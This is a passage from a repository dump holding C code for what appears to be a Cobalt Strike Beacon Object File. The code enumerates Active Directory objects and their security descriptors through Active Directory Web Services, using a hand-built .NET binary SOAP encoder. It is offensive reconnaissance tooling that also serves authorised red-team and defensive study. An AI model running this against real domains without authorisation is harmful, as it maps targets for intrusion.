BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to receive response\");\n        NBFSEBufferFree(nbfseBuffer);\n        goto cleanup_params;\n    }\n\n    PBYTE nbfsePayload = NULL;\n    DWORD nbfseLen = 0;\n    if (!UnwrapNMFEnvelope(response, responseLen, &nbfsePayload, &nbfseLen))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to unwrap NMF envelope\");\n        intFree(response);\n        NBFSEBufferFree(nbfseBuffer);\n        goto cleanup_params;\n    }\n\n    char *enumerationContext = (char *)intAlloc(256);\n    if (!enumerationContext)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to allocate memory for enumeration context\");\n        intFree(response);\n        NBFSEBufferFree(nbfseBuffer);\n        goto cleanup_params;\n    }\n\n    enumerationContext[0] = '\\0';\n    if (!ParseEnumerateResponse(nbfsePayload, nbfseLen, enumerationContext, 256))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse enumeration context\");\n        intFree(response);\n        NBFSEBufferFree(nbfseBuffer);\n        intFree(enumerationContext);\n        goto cleanup_params;\n    }\n\n    intFree(response);\n    NBFSEBufferFree(nbfseBuffer);\n\n    internal_printf(\"[*] Retrieving objects...\\n\");\n\n    BOOL hasMore = TRUE;\n    int pullCount = 0;\n    int totalObjectsRetrieved = 0;\n\n    while (hasMore)\n    {\n        nbfseBuffer = NBFSEBufferCreate(1024);\n        if (!nbfseBuffer)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create buffer for pull request\");\n            goto cleanup_params;\n        }\n\n        if (!BuildPullRequest(nbfseBuffer, enumerationContext, 256, target))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to build pull request\");\n            NBFSEBufferFree(nbfseBuffer);\n            goto cleanup_params;\n        }\n\n        if (!SendADWSMessage(&ctx, nbfseBuffer->data, nbfseBuffer->size))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to send pull request\");\n            NBFSEBufferFree(nbfseBuffer);\n            goto cleanup_params;\n        }\n        NBFSEBufferFree(nbfseBuffer);\n\n        response = NULL;\n        responseLen = 0;\n        if (!NNSReceiveEncrypted(&ctx, &response, &responseLen))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to receive pull response\");\n            goto cleanup_params;\n        }\n\n        nbfsePayload = NULL;\n        nbfseLen = 0;\n        if (!UnwrapNMFEnvelope(response, responseLen, &nbfsePayload, &nbfseLen))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to unwrap pull response\");\n            intFree(response);\n            goto cleanup_params;\n        }\n\n        DWORD objectsInThisPull = 0;\n        if (!ParsePullResponse(nbfsePayload, nbfseLen, attrFilter, &hasMore, &objectsInThisPull))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse pull response\");\n            intFree(response);\n            goto cleanup_params;\n        }\n\n        totalObjectsRetrieved += objectsInThisPull;\n        intFree(response);\n        pullCount++;\n    }\n\n    internal_printf(\"\\nRetrieved %d results total\\n\", totalObjectsRetrieved);\n\n    if (enumerationContext)\n        intFree(enumerationContext);\n\ncleanup:\n    if (ctx.socket != INVALID_SOCKET)\n        WS2_32$closesocket(ctx.socket);\n\n    if (ctx.hContext.dwLower || ctx.hContext.dwUpper)\n        SECUR32$DeleteSecurityContext(&ctx.hContext);\n\n    if (ctx.hCred.dwLower || ctx.hCred.dwUpper)\n        SECUR32$FreeCredentialsHandle(&ctx.hCred);\n\n    WS2_32$WSACleanup();\n\ncleanup_params:\n    if (target && targetAuto)\n        intFree(target);\n    if (baseDN && dnAuto)\n        intFree(baseDN);\n\n    printoutput(TRUE);\n}\n#endif\n"
  },
  {
    "path": "AD-BOF/adwssearch/nbfse.h",
    "content": "/*\n * nbfse.h - .NET Binary Format: SOAP Encoding\n *\n * Functions for encoding SOAP messages in Microsoft's binary XML format (NBFSE)\n * used by Active Directory Web Services (ADWS) protocol.\n */\n\n#ifndef NBFSE_H\n#define NBFSE_H\n\n#ifdef BOF\n#include \"bofdefs.h\"\n\nDECLSPEC_IMPORT RPC_STATUS WINAPI RPCRT4$UuidCreate(UUID *);\n#else\n#include <rpc.h>\n#include <windows.h>\n#endif\n\n#define NBFSE_END_ELEMENT 0x01\n#define NBFSE_SHORT_ATTRIBUTE 0x04\n#define NBFSE_ATTRIBUTE 0x05\n#define NBFSE_SHORT_XMLNS_ATTRIBUTE 0x08\n#define NBFSE_XMLNS_ATTRIBUTE 0x09\n#define NBFSE_DICTIONARY_XMLNS_ATTRIBUTE 0x0B\n#define NBFSE_PREFIX_DICTIONARY_ATTRIBUTE_S 0x1E\n#define NBFSE_ELEMENT 0x41\n#define NBFSE_PREFIX_DICTIONARY_ELEMENT_A 0x44\n#define NBFSE_PREFIX_DICTIONARY_ELEMENT_S 0x56\n#define NBFSE_BOOL_TEXT_TRUE 0x86\n#define NBFSE_CHARS8_TEXT 0x98\n#define NBFSE_CHARS8_TEXT_WITH_END_ELEMENT 0x99\n#define NBFSE_BYTES8_TEXT 0x9E\n#define NBFSE_BYTES8_TEXT_WITH_END_ELEMENT 0x9F\n#define NBFSE_DICTIONARY_TEXT 0xAA\n#define NBFSE_DICTIONARY_TEXT_WITH_END_ELEMENT 0xAB\n#define NBFSE_UNIQUE_ID_TEXT 0xAC\n\n#define DICT_ENVELOPE 0x02\n#define DICT_HEADER 0x08\n#define DICT_BODY 0x0E\n#define DICT_ACTION 0x0A\n#define DICT_TO 0x0C\n#define DICT_MESSAGEID 0x1A\n#define DICT_REPLYTO 0x2C\n#define DICT_ADDRESS 0x2A\n#define DICT_MUSTUNDERSTAND 0x00\n\ntypedef struct\n{\n    BYTE *data;\n    DWORD size;\n    DWORD capacity;\n} NBFSE_BUFFER;\n\nNBFSE_BUFFER *NBFSEBufferCreate(DWORD initialSize);\nvoid NBFSEBufferFree(NBFSE_BUFFER *buf);\nBOOL NBFSEBufferAppend(NBFSE_BUFFER *buf, const BYTE *data, DWORD dataLen);\nBOOL NBFSEBufferAppendByte(NBFSE_BUFFER *buf, BYTE b);\n\nBOOL NBFSEWriteMultiByteInt31(NBFSE_BUFFER *buf, DWORD value);\nBOOL NBFSEWriteChars8Text(NBFSE_BUFFER *buf, const char *text, BOOL withEndElement);\nBOOL NBFSEWriteDictionaryText(NBFSE_BUFFER *buf, BYTE dictId, BOOL withEndElement);\nBOOL NBFSEWriteUniqueIdText(NBFSE_BUFFER *buf, const UUID *uuid);\nBOOL NBFSEWriteElement(NBFSE_BUFFER *buf, const char *prefix, const char *name);\nBOOL NBFSEWriteShortAttribute(NBFSE_BUFFER *buf, const char *name);\nBOOL NBFSEWriteXmlnsAttribute(NBFSE_BUFFER *buf, const char *prefix, const char *ns);\nBOOL NBFSEWriteDictionaryXmlnsAttribute(NBFSE_BUFFER *buf, const char *prefix, BYTE nsDict);\n\nBOOL BuildEnumerateRequest(NBFSE_BUFFER *buf, const char *ldapFilter, const char *baseDN, const char *targetHost,\n                           const char *attrFilter);\nBOOL BuildPullRequest(NBFSE_BUFFER *buf, const char *enumContext, DWORD maxElements, const char *targetHost);\n\nNBFSE_BUFFER *NBFSEBufferCreate(DWORD initialSize)\n{\n    NBFSE_BUFFER *buf = (NBFSE_BUFFER *)intAlloc(sizeof(NBFSE_BUFFER));\n    if (!buf)\n        return NULL;\n\n    buf->data = (BYTE *)intAlloc(initialSize);\n    if (!buf->data)\n    {\n        intFree(buf);\n        return NULL;\n    }\n\n    buf->size = 0;\n    buf->capacity = initialSize;\n    return buf;\n}\n\nvoid NBFSEBufferFree(NBFSE_BUFFER *buf)\n{\n    if (buf)\n    {\n        if (buf->data)\n            intFree(buf->data);\n        intFree(buf);\n    }\n}\n\nBOOL NBFSEBufferAppend(NBFSE_BUFFER *buf, const BYTE *data, DWORD dataLen)\n{\n    if (buf->size + dataLen > buf->capacity)\n    {\n        DWORD newCapacity = buf->capacity * 2;\n        while (newCapacity < buf->size + dataLen)\n        {\n            newCapacity *= 2;\n        }\n\n        BYTE *newData = (BYTE *)intAlloc(newCapacity);\n        if (!newData)\n            return FALSE;\n\n        MSVCRT$memcpy(newData, buf->data, buf->size);\n        intFree(buf->data);\n        buf->data = newData;\n        buf->capacity = newCapacity;\n    }\n\n    MSVCRT$memcpy(buf->data + buf->size, data, dataLen);\n    buf->size += dataLen;\n    return TRUE;\n}\n\nBOOL NBFSEBufferAppendByte(NBFSE_BUFFER *buf, BYTE b)\n{\n    return NBFSEBufferAppend(buf, &b, 1);\n}\n\nBOOL NBFSEWriteMultiByteInt31(NBFSE_BUFFER *buf, DWORD value)\n{\n    if (value < 0x80)\n    {\n        return NBFSEBufferAppendByte(buf, (BYTE)value);\n    }\n    else if (value < 0x4000)\n    {\n        BYTE bytes[2];\n        bytes[0] = (BYTE)(0x80 | (value & 0x7F));\n        bytes[1] = (BYTE)(value >> 7);\n        return NBFSEBufferAppend(buf, bytes, 2);\n    }\n    else if (value < 0x200000)\n    {\n        BYTE bytes[3];\n        bytes[0] = (BYTE)(0x80 | (value & 0x7F));\n        bytes[1] = (BYTE)(0x80 | ((value >> 7) & 0x7F));\n        bytes[2] = (BYTE)(value >> 14);\n        return NBFSEBufferAppend(buf, bytes, 3);\n    }\n    else if (value < 0x10000000)\n    {\n        BYTE bytes[4];\n        bytes[0] = (BYTE)(0x80 | (value & 0x7F));\n        bytes[1] = (BYTE)(0x80 | ((value >> 7) & 0x7F));\n        bytes[2] = (BYTE)(0x80 | ((value >> 14) & 0x7F));\n        bytes[3] = (BYTE)(value >> 21);\n        return NBFSEBufferAppend(buf, bytes, 4);\n    }\n    else\n    {\n        BYTE bytes[5];\n        bytes[0] = (BYTE)(0x80 | (value & 0x7F));\n        bytes[1] = (BYTE)(0x80 | ((value >> 7) & 0x7F));\n        bytes[2] = (BYTE)(0x80 | ((value >> 14) & 0x7F));\n        bytes[3] = (BYTE)(0x80 | ((value >> 21) & 0x7F));\n        bytes[4] = (BYTE)(value >> 28);\n        return NBFSEBufferAppend(buf, bytes, 5);\n    }\n}\n\nBOOL NBFSEWriteChars8Text(NBFSE_BUFFER *buf, const char *text, BOOL withEndElement)\n{\n    DWORD len = MSVCRT$strlen(text);\n    if (len > 255)\n        return FALSE;\n\n    BYTE recordType = withEndElement ? NBFSE_CHARS8_TEXT_WITH_END_ELEMENT : NBFSE_CHARS8_TEXT;\n    if (!NBFSEBufferAppendByte(buf, recordType))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)len))\n        return FALSE;\n    return NBFSEBufferAppend(buf, (const BYTE *)text, len);\n}\n\nBOOL NBFSEWriteDictionaryText(NBFSE_BUFFER *buf, BYTE dictId, BOOL withEndElement)\n{\n    BYTE recordType = withEndElement ? NBFSE_DICTIONARY_TEXT_WITH_END_ELEMENT : NBFSE_DICTIONARY_TEXT;\n    if (!NBFSEBufferAppendByte(buf, recordType))\n        return FALSE;\n    return NBFSEBufferAppendByte(buf, dictId);\n}\n\nBOOL NBFSEWriteUniqueIdText(NBFSE_BUFFER *buf, const UUID *uuid)\n{\n    if (!NBFSEBufferAppendByte(buf, NBFSE_UNIQUE_ID_TEXT))\n        return FALSE;\n    return NBFSEBufferAppend(buf, (const BYTE *)uuid, 16);\n}\n\nBOOL NBFSEWriteElement(NBFSE_BUFFER *buf, const char *prefix, const char *name)\n{\n    DWORD prefixLen = MSVCRT$strlen(prefix);\n    DWORD nameLen = MSVCRT$strlen(name);\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)prefixLen))\n        return FALSE;\n    if (!NBFSEBufferAppend(buf, (const BYTE *)prefix, prefixLen))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)nameLen))\n        return FALSE;\n    return NBFSEBufferAppend(buf, (const BYTE *)name, nameLen);\n}\n\nBOOL NBFSEWriteShortAttribute(NBFSE_BUFFER *buf, const char *name)\n{\n    DWORD nameLen = MSVCRT$strlen(name);\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_SHORT_ATTRIBUTE))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)nameLen))\n        return FALSE;\n    return NBFSEBufferAppend(buf, (const BYTE *)name, nameLen);\n}\n\nBOOL NBFSEWriteXmlnsAttribute(NBFSE_BUFFER *buf, const char *prefix, const char *ns)\n{\n    DWORD prefixLen = MSVCRT$strlen(prefix);\n    DWORD nsLen = MSVCRT$strlen(ns);\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_XMLNS_ATTRIBUTE))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)prefixLen))\n        return FALSE;\n    if (!NBFSEBufferAppend(buf, (const BYTE *)prefix, prefixLen))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)nsLen))\n        return FALSE;\n    return NBFSEBufferAppend(buf, (const BYTE *)ns, nsLen);\n}\n\nBOOL NBFSEWriteDictionaryXmlnsAttribute(NBFSE_BUFFER *buf, const char *prefix, BYTE nsDict)\n{\n    DWORD prefixLen = MSVCRT$strlen(prefix);\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_DICTIONARY_XMLNS_ATTRIBUTE))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, (BYTE)prefixLen))\n        return FALSE;\n    if (!NBFSEBufferAppend(buf, (const BYTE *)prefix, prefixLen))\n        return FALSE;\n    return NBFSEBufferAppendByte(buf, nsDict);\n}\n\nBOOL BuildEnumerateRequest(NBFSE_BUFFER *buf, const char *ldapFilter, const char *baseDN, const char *targetHost, const char *attrFilter)\n{\n    UUID uuid;\n\n    if (RPCRT4$UuidCreate(&uuid) != RPC_S_OK)\n    {\n        return FALSE;\n    }\n\n    // Empty string table\n    if (!NBFSEBufferAppendByte(buf, 0x00))\n        return FALSE;\n\n    // <s:Envelope>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ENVELOPE))\n        return FALSE;\n\n    if (!NBFSEWriteDictionaryXmlnsAttribute(buf, \"s\", 0x04))\n        return FALSE;\n\n    if (!NBFSEWriteDictionaryXmlnsAttribute(buf, \"a\", 0x06))\n        return FALSE;\n\n    // xmlns:addata\n    if (!NBFSEWriteXmlnsAttribute(buf, \"addata\", \"http://schemas.microsoft.com/2008/1/ActiveDirectory/Data\"))\n        return FALSE;\n\n    // xmlns:ad\n    if (!NBFSEWriteXmlnsAttribute(buf, \"ad\", \"http://schemas.microsoft.com/2008/1/ActiveDirectory\"))\n        return FALSE;\n\n    // xmlns:xsd - dictionary 0x374 (encoded as 0xF4 0x06)\n    if (!NBFSEBufferAppendByte(buf, NBFSE_DICTIONARY_XMLNS_ATTRIBUTE))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0x03))\n        return FALSE;\n    if (!NBFSEBufferAppend(buf, (const BYTE *)\"xsd\", 3))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0xF4))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0x06))\n        return FALSE;\n\n    // xmlns:xsi - dictionary 0x372 (encoded as 0xF2 0x06)\n    if (!NBFSEBufferAppendByte(buf, NBFSE_DICTIONARY_XMLNS_ATTRIBUTE))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0x03))\n        return FALSE;\n    if (!NBFSEBufferAppend(buf, (const BYTE *)\"xsi\", 3))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0xF2))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, 0x06))\n        return FALSE;\n\n    // <s:Header>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_HEADER))\n        return FALSE;\n\n    // <a:Action s:mustUnderstand=\"1\">\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ACTION))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ATTRIBUTE_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MUSTUNDERSTAND))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_BOOL_TEXT_TRUE))\n        return FALSE;\n\n    // Action URL\n    if (!NBFSEWriteChars8Text(buf, \"http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate\", TRUE))\n        return FALSE;\n\n    // <ad:instance>\n    if (!NBFSEWriteElement(buf, \"ad\", \"instance\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"ldap:389\", TRUE))\n        return FALSE;\n\n    // <a:MessageID>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MESSAGEID))\n        return FALSE;\n    if (!NBFSEWriteUniqueIdText(buf, &uuid))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <a:ReplyTo>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_REPLYTO))\n        return FALSE;\n\n    // <a:Address>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ADDRESS))\n        return FALSE;\n    if (!NBFSEWriteDictionaryText(buf, 0x14, TRUE))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <a:To s:mustUnderstand=\"1\">\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_TO))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ATTRIBUTE_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MUSTUNDERSTAND))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_BOOL_TEXT_TRUE))\n        return FALSE;\n\n    // Build To URL\n    char toUrl[512];\n    MSVCRT$sprintf(toUrl, \"net.tcp://%s:9389/ActiveDirectoryWebServices/Windows/Enumeration\", targetHost);\n    if (!NBFSEWriteChars8Text(buf, toUrl, TRUE))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <s:Body>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_BODY))\n        return FALSE;\n\n    // Move xmlns declarations to Body element (not Envelope)\n    // xmlns:wsen\n    if (!NBFSEWriteXmlnsAttribute(buf, \"wsen\", \"http://schemas.xmlsoap.org/ws/2004/09/enumeration\"))\n        return FALSE;\n\n    // xmlns:adlq\n    if (!NBFSEWriteXmlnsAttribute(buf, \"adlq\", \"http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery\"))\n        return FALSE;\n\n    // <wsen:Enumerate>\n    if (!NBFSEWriteElement(buf, \"wsen\", \"Enumerate\"))\n        return FALSE;\n\n    if (!NBFSEWriteElement(buf, \"wsen\", \"Filter\"))\n        return FALSE;\n    if (!NBFSEWriteShortAttribute(buf, \"Dialect\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/LdapQuery\", FALSE))\n        return FALSE;\n\n    // <adlq:LdapQuery>\n    if (!NBFSEWriteElement(buf, \"adlq\", \"LdapQuery\"))\n        return FALSE;\n\n    // <adlq:Filter>\n    if (!NBFSEWriteElement(buf, \"adlq\", \"Filter\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, ldapFilter, TRUE))\n        return FALSE;\n\n    // <adlq:BaseObject>\n    if (!NBFSEWriteElement(buf, \"adlq\", \"BaseObject\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, baseDN, TRUE))\n        return FALSE;\n\n    // <adlq:Scope>\n    if (!NBFSEWriteElement(buf, \"adlq\", \"Scope\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"Subtree\", TRUE))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // Add Selection element if attribute filter is provided (limits what server returns)\n    if (attrFilter && MSVCRT$strlen(attrFilter) > 0)\n    {\n        // <ad:Selection Dialect=\"http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1\">\n        if (!NBFSEWriteElement(buf, \"ad\", \"Selection\"))\n            return FALSE;\n        if (!NBFSEWriteShortAttribute(buf, \"Dialect\"))\n            return FALSE;\n        if (!NBFSEWriteChars8Text(buf, \"http://schemas.microsoft.com/2008/1/ActiveDirectory/Dialect/XPath-Level-1\", FALSE))\n            return FALSE;\n\n        // Always add distinguishedName\n        // <ad:SelectionProperty>addata:distinguishedname</ad:SelectionProperty>\n        if (!NBFSEWriteElement(buf, \"ad\", \"SelectionProperty\"))\n            return FALSE;\n        if (!NBFSEWriteChars8Text(buf, \"addata:distinguishedname\", TRUE))\n            return FALSE;\n\n        // Parse comma-separated attributes and add each one\n        char filterCopy[512];\n        MSVCRT$strncpy(filterCopy, attrFilter, 511);\n        filterCopy[511] = '\\0';\n\n        char *token = MSVCRT$strtok(filterCopy, \",\");\n        while (token != NULL)\n        {\n            while (*token == ' ')\n                token++;\n\n            // <ad:SelectionProperty>addata:attributename</ad:SelectionProperty>\n            if (!NBFSEWriteElement(buf, \"ad\", \"SelectionProperty\"))\n                return FALSE;\n\n            // Build \"addata:attributename\" string\n            char attrName[256];\n            MSVCRT$sprintf(attrName, \"addata:%s\", token);\n            if (!NBFSEWriteChars8Text(buf, attrName, TRUE))\n                return FALSE;\n\n            token = MSVCRT$strtok(NULL, \",\");\n        }\n\n        if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n            return FALSE;\n    }\n\n    // LDAP control for nTSecurityDescriptor without SACL (needed when getting ALL attributes)\n    if (!NBFSEWriteElement(buf, \"ad\", \"controls\"))\n        return FALSE;\n\n    // <ad:control type=\"1.2.840.113556.1.4.801\" criticality=\"true\">\n    if (!NBFSEWriteElement(buf, \"ad\", \"control\"))\n        return FALSE;\n    if (!NBFSEWriteShortAttribute(buf, \"type\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"1.2.840.113556.1.4.801\", FALSE))\n        return FALSE;\n    if (!NBFSEWriteShortAttribute(buf, \"criticality\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"true\", FALSE))\n        return FALSE;\n\n    // <ad:controlValue>MAMCAQc=</ad:controlValue>\n    if (!NBFSEWriteElement(buf, \"ad\", \"controlValue\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"MAMCAQc=\", TRUE))\n        return FALSE; // Base64 of 30 03 02 01 07\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    return TRUE;\n}\n\nBOOL BuildPullRequest(NBFSE_BUFFER *buf, const char *enumContext, DWORD maxElements, const char *targetHost)\n{\n    // Empty string table\n    if (!NBFSEBufferAppendByte(buf, 0x00))\n        return FALSE;\n\n    // <s:Envelope>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ENVELOPE))\n        return FALSE;\n\n    // xmlns:s\n    if (!NBFSEWriteDictionaryXmlnsAttribute(buf, \"s\", 0x04))\n        return FALSE;\n\n    // xmlns:a\n    if (!NBFSEWriteDictionaryXmlnsAttribute(buf, \"a\", 0x06))\n        return FALSE;\n\n    // xmlns:ad\n    if (!NBFSEWriteXmlnsAttribute(buf, \"ad\", \"http://schemas.microsoft.com/2008/1/ActiveDirectory\"))\n        return FALSE;\n\n    UUID uuid;\n    if (RPCRT4$UuidCreate(&uuid) != RPC_S_OK)\n    {\n        return FALSE;\n    }\n\n    // <s:Header>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_HEADER))\n        return FALSE;\n\n    // <a:Action s:mustUnderstand=\"1\">\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ACTION))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ATTRIBUTE_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MUSTUNDERSTAND))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_BOOL_TEXT_TRUE))\n        return FALSE;\n\n    // Action URL\n    if (!NBFSEWriteChars8Text(buf, \"http://schemas.xmlsoap.org/ws/2004/09/enumeration/Pull\", TRUE))\n        return FALSE;\n\n    // <a:MessageID>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MESSAGEID))\n        return FALSE;\n    if (!NBFSEWriteUniqueIdText(buf, &uuid))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <a:ReplyTo>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_REPLYTO))\n        return FALSE;\n\n    // <a:Address>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_ADDRESS))\n        return FALSE;\n    if (!NBFSEWriteDictionaryText(buf, 0x14, TRUE))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <a:To s:mustUnderstand=\"1\">\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_A))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_TO))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ATTRIBUTE_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_MUSTUNDERSTAND))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, NBFSE_BOOL_TEXT_TRUE))\n        return FALSE;\n\n    char toUrl[512];\n    MSVCRT$sprintf(toUrl, \"net.tcp://%s:9389/ActiveDirectoryWebServices/Windows/Enumeration\", targetHost);\n    if (!NBFSEWriteChars8Text(buf, toUrl, TRUE))\n        return FALSE;\n\n    if (!NBFSEBufferAppendByte(buf, NBFSE_END_ELEMENT))\n        return FALSE;\n\n    // <s:Body>\n    if (!NBFSEBufferAppendByte(buf, NBFSE_PREFIX_DICTIONARY_ELEMENT_S))\n        return FALSE;\n    if (!NBFSEBufferAppendByte(buf, DICT_BODY))\n        return FALSE;\n\n    // xmlns:wsen\n    if (!NBFSEWriteXmlnsAttribute(buf, \"wsen\", \"http://schemas.xmlsoap.org/ws/2004/09/enumeration\"))\n        return FALSE;\n\n    // <wsen:Pull>\n    if (!NBFSEWriteElement(buf, \"wsen\", \"Pull\"))\n        return FALSE;\n\n    // <wsen:EnumerationContext>\n    if (!NBFSEWriteElement(buf, \"wsen\", \"EnumerationContext\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, enumContext, TRUE))\n        return FALSE;\n\n    // <wsen:MaxElements>\n    if (!NBFSEWriteElement(buf, \"wsen\", \"MaxElements\"))\n        return FALSE;\n    char maxElemStr[32];\n    MSVCRT$sprintf(maxElemStr, \"%d\", maxElements);\n    if (!NBFSEWriteChars8Text(buf, maxElemStr, TRUE))\n        return FALSE;\n\n    // LDAP control - always added to get security descriptor\n    if (!NBFSEWriteElement(buf, \"ad\", \"controls\"))\n        return FALSE;\n\n    // <ad:control type=\"1.2.840.113556.1.4.801\" criticality=\"true\">\n    if (!NBFSEWriteElement(buf, \"ad\", \"control\"))\n        return FALSE;\n    if (!NBFSEWriteShortAttribute(buf, \"type\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"1.2.840.113556.1.4.801\", FALSE))\n        return FALSE;\n    if (!NBFSEWriteShortAttribute(buf, \"criticality\"))\n        return FALSE;\n    if (!NBFSEWriteChars8Text(buf, \"true\", FALSE))\n        return FALSE;\n\n    // <ad:controlValue>\n    if (!NBFSEWriteElement(buf, 